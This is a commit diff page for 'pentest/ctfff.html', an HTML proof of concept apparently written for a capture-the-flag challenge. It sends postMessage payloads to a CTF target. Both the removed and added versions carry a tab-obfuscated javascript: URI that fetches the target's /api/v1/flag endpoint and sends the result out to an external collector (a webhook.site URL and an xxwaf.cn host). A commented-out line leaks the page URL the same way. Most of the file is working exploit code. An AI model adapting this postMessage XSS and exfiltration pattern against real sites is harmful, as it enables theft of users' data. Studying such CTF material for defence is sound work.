Skip to content

Commit ffbcc02

Browse files
authored
Update ctfff.html
1 parent 813f999 commit ffbcc02

1 file changed

Lines changed: 28 additions & 22 deletions

File tree

pentest/ctfff.html

Lines changed: 28 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,23 +1,29 @@
1-
<!doctype html>
2-
<html>
3-
<head>
4-
<meta charset="UTF-8" />
5-
<title>Postmessage PoC</title>
6-
<script>
7-
let msg = "{ type: 'jump', url: 'javas\x09cript:function get(url){try{var req=new XMLHttpRequest();req.open(\"GET\",url,true);req.send(null);if(req.status==200)return req.responseText}catch(err){}return null}var flag=get(window.parent.location.origin+\"/api/v1/flag\");get(\"http://dbrhcs.xxwaf.cn/?\"+escape(flag))'}";
8-
function pocLink() {
9-
let win = window.open("https://af10cc37bc91678496d8a6ca2386e167.ctf.bytedance.net/");
10-
setTimeout(function(){
11-
win.postMessage(msg, '*');
12-
}, 5000);
13-
}
14-
function pocFrame(win) {
15-
win.postMessage(msg, '*');
16-
}
17-
pocLink();
18-
</script>
19-
</head>
20-
<body>
21-
<iframe src="https://af10cc37bc91678496d8a6ca2386e167.ctf.bytedance.net/" onload="pocFrame(this.contentWindow)"></iframe>
22-
</body>
1+
<!DOCTYPE html>
2+
<html>
3+
<head>
4+
<title></title>
5+
<meta charset="utf-8" />
6+
<!-- <iframe src="https://a905e2c80491e60fb4af502e599dce99.ctf.bytedance.net/"></iframe> -->
7+
<script>
8+
function openChild() {
9+
child = window.open('https://af10cc37bc91678496d8a6ca2386e167.ctf.bytedance.net/', 'popup', 'height=300px, width=500px');
10+
}
11+
function sendMessage(){
12+
child = window.open('https://af10cc37bc91678496d8a6ca2386e167.ctf.bytedance.net/', 'height=300px, width=500px');
13+
setTimeout(function(){
14+
// child.postMessage({type: 'jump', url: 'javascri\x09pt:window.location.href=\'https://webhook.site/ceec3683-d881-4baa-9650-e86f2e3a9837/?\'+window.location.href'}, '*');
15+
child.postMessage({ type: 'jump', url: 'javas\x09cript:function get(url){try{var req=new XMLHttpRequest();req.open(\"GET\",url,true);req.send(null);if(req.status==200)return req.responseText}catch(err){}return null}var flag=get(\"https://af10cc37bc91678496d8a6ca2386e167.ctf.bytedance.net/api/v1/flag\");get(\"https://webhook.site/ceec3683-d881-4baa-9650-e86f2e3a9837/?\"+escape(flag))'}, '*');
16+
}, 2000);
17+
}
18+
sendMessage();
19+
</script>
20+
</head>
21+
<body>
22+
<form>
23+
<fieldset>
24+
<input type='button' id='btnopen' value='Open child' onclick='openChild();' />
25+
<input type='button' id='btnSendMsg' value='Send Message' onclick='sendMessage();' />
26+
</fieldset>
27+
</form>
28+
</body>
2329
</html>

0 commit comments

Comments
 (0)